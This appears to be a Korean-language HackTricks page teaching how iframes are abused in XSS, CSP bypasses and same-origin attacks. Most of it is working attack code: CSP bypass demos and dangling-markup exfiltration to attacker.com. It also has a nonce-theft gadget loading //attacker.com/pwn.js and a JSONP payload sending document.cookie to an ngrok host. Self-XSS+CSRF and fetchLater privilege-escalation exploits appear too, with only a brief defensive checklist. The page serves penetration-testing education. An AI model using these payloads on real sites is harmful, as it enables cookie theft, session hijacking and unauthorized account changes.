Iframes in XSS, CSP and SOP

Reading time: 10 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Iframes in XSS

iframed 페이지의 내용을 나타내는 방법은 3가지가 있습니다:

  • src를 통해 URL을 나타냅니다 (URL은 교차 출처 또는 동일 출처일 수 있습니다)
  • data: 프로토콜을 사용하여 내용을 나타내는 src
  • 내용을 나타내는 srcdoc

부모 및 자식 변수 접근

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

이전 HTML에 HTTP 서버(예: python3 -m http.server)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). 부모는 어떤 iframe 안의 secret 변수를 접근할 수 없으며 오직 if2 및 if3 iframe(같은 사이트로 간주됨)만이 원래 창의 secret에 접근할 수 있습니다.
if4는 null 출처로 간주된다는 점에 유의하세요.

CSP가 있는 Iframes

tip

다음 우회에서 iframed 페이지에 대한 응답에 JS 실행을 방지하는 CSP 헤더가 포함되어 있지 않다는 점에 유의하세요.

script-srcself 값은 data: 프로토콜이나 srcdoc 속성을 사용하여 JS 코드를 실행하는 것을 허용하지 않습니다.
그러나 CSP의 none 값조차도 src 속성에 URL(전체 또는 경로만) 을 넣은 iframe의 실행을 허용합니다.
따라서 다음과 같이 페이지의 CSP를 우회할 수 있습니다:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

이전 CSP는 인라인 스크립트의 실행만 허용합니다.
그러나 오직 if1if2 스크립트만 실행되지만, if1만 부모 비밀에 접근할 수 있습니다.

따라서 서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. script-src 'none'일지라도 가능합니다. 이는 동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다.

다음 시나리오로 테스트할 수 있습니다. 쿠키가 script-src 'none'일지라도 도난당합니다. 애플리케이션을 실행하고 브라우저로 접근하세요:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

New (2023-2025) CSP 우회 기술 with iframes

연구 커뮤니티는 제한적인 정책을 무력화하기 위해 iframes를 악용하는 창의적인 방법을 계속 발견하고 있습니다. 아래는 지난 몇 년 동안 발표된 가장 주목할 만한 기술들입니다:

  • Dangling-markup / named-iframe 데이터 유출 (PortSwigger 2023) – 애플리케이션이 HTML을 반영하지만 강력한 CSP가 스크립트 실행을 차단할 때, dangling <iframe name> 속성을 주입하여 여전히 민감한 토큰을 유출할 수 있습니다. 부분 마크업이 파싱되면, 별도의 출처에서 실행 중인 공격자 스크립트가 프레임을 about:blank로 탐색하고 window.name을 읽습니다. 이 값은 이제 다음 인용 문자까지의 모든 것을 포함합니다(예: CSRF 토큰). 피해자 컨텍스트에서 JavaScript가 실행되지 않기 때문에, 공격은 일반적으로 script-src 'none'을 회피합니다. 최소한의 PoC는 다음과 같습니다:
html
<!-- 민감한 <script> 바로 앞의 주입 지점 -->
<iframe name="//attacker.com/?">  <!-- 속성이 의도적으로 열려 있음 -->
javascript
// attacker.com 프레임
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → 유출된 값
  • 동일 출처 iframe을 통한 nonce 도용 (2024) – CSP nonce는 DOM에서 제거되지 않고 DevTools에서만 숨겨집니다. 공격자가 동일 출처 iframe을 주입할 수 있다면(예: HTML을 사이트에 업로드하여) 자식 프레임은 간단히 document.querySelector('[nonce]').nonce를 쿼리하고 정책을 만족하는 새로운 <script nonce> 노드를 생성하여 strict-dynamic에도 불구하고 전체 JavaScript 실행을 가능하게 합니다. 다음 가젯은 마크업 주입을 XSS로 상승시킵니다:
javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • 폼 액션 하이재킹 (PortSwigger 2024)form-action 지시어를 생략한 페이지는 주입된 iframe이나 인라인 HTML에서 로그인 폼이 재타겟팅될 수 있어, 비밀번호 관리자가 자격 증명을 외부 도메인에 자동으로 채우고 제출하게 할 수 있습니다. script-src 'none'이 존재하더라도 마찬가지입니다. 항상 default-srcform-action으로 보완하세요!

방어 노트 (빠른 체크리스트)

  1. 보조 컨텍스트를 제어하는 모든 CSP 지시어(form-action, frame-src, child-src, object-src 등)를 항상 전송하세요.
  2. nonce가 비밀이라고 의존하지 마세요—strict-dynamic 주입 지점을 제거하세요.
  3. 신뢰할 수 없는 문서를 포함해야 할 경우 sandbox="allow-scripts allow-same-origin"매우 조심스럽게 사용하세요(스크립트 실행 격리만 필요하다면 allow-same-origin 없이 사용).
  4. 방어 심화 COOP+COEP 배포를 고려하세요; 새로운 <iframe credentialless> 속성(§ 아래)은 제3자 임베드를 깨뜨리지 않고도 그렇게 할 수 있게 해줍니다.

Other Payloads found on the wild

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe 내의 콘텐츠는 sandbox 속성을 사용하여 추가 제한을 받을 수 있습니다. 기본적으로 이 속성은 적용되지 않으며, 이는 제한이 없음을 의미합니다.

사용될 때, sandbox 속성은 여러 가지 제한을 부과합니다:

  • 콘텐츠는 고유한 출처에서 온 것처럼 취급됩니다.
  • 양식을 제출하려는 모든 시도가 차단됩니다.
  • 스크립트 실행이 금지됩니다.
  • 특정 API에 대한 접근이 비활성화됩니다.
  • 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지합니다.
  • <embed>, <object>, <applet> 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다.
  • 콘텐츠 자체가 콘텐츠의 최상위 브라우징 컨텍스트를 탐색하는 것이 방지됩니다.
  • 비디오 재생이나 양식 컨트롤의 자동 포커스와 같이 자동으로 트리거되는 기능이 차단됩니다.

Tip: 최신 브라우저는 allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation 등과 같은 세분화된 플래그를 지원합니다. 이를 조합하여 임베디드 애플리케이션에 필요한 최소한의 기능만 부여하십시오.

속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다 (sandbox=""). 또는 특정 제한에서 iframe을 면제하는 공백으로 구분된 값 목록으로 설정할 수 있습니다.

html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

Since Chrome 110 (2023년 2월)부터 이 기능은 기본적으로 활성화되어 있습니다 and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:

  • Scripts in different credentialless iframes 여전히 동일한 최상위 출처를 공유하며 DOM을 통해 자유롭게 상호작용할 수 있어 다중 iframe self-XSS 공격이 가능해집니다 (아래 PoC 참조).
  • Because the network is credential-stripped, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
  • Pop-ups spawned from a credentialless iframe get an implicit rel="noopener", breaking some OAuth flows.
javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exploit example: Self-XSS + CSRF

이 공격에서 공격자는 2개의 iframe이 있는 악성 웹페이지를 준비합니다:

  • CSRF가 XSS를 트리거하는 credentialless 플래그가 있는 피해자의 페이지를 로드하는 iframe (사용자의 사용자 이름에서 Self-XSS를 상상해 보세요):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • 실제로 사용자가 로그인한 다른 iframe ( credentialless 플래그 없이).

그런 다음, XSS에서 동일한 SOP를 가지므로 다른 iframe에 접근할 수 있으며, 예를 들어 쿠키를 훔치는 것을 실행할 수 있습니다:

javascript
alert(window.top[1].document.cookie);

fetchLater 공격

이 기사에서 언급된 바와 같이, API fetchLater는 요청을 나중에 실행되도록 구성할 수 있게 해줍니다(특정 시간 후). 따라서, 이는 예를 들어, 피해자를 공격자의 세션 내에서 로그인시키고(자기 XSS를 통해), fetchLater 요청을 설정하여(예를 들어 현재 사용자의 비밀번호를 변경하기 위해) 공격자의 세션에서 로그아웃하는 데 악용될 수 있습니다. 그런 다음, 피해자는 자신의 세션에 로그인하고 fetchLater 요청이 실행되어 피해자의 비밀번호가 공격자가 설정한 비밀번호로 변경됩니다.

이렇게 하면 피해자의 URL이 iframe에서 로드될 수 없더라도(CSP 또는 기타 제한으로 인해), 공격자는 여전히 피해자의 세션에서 요청을 실행할 수 있습니다.

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes in SOP

다음 페이지를 확인하세요:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기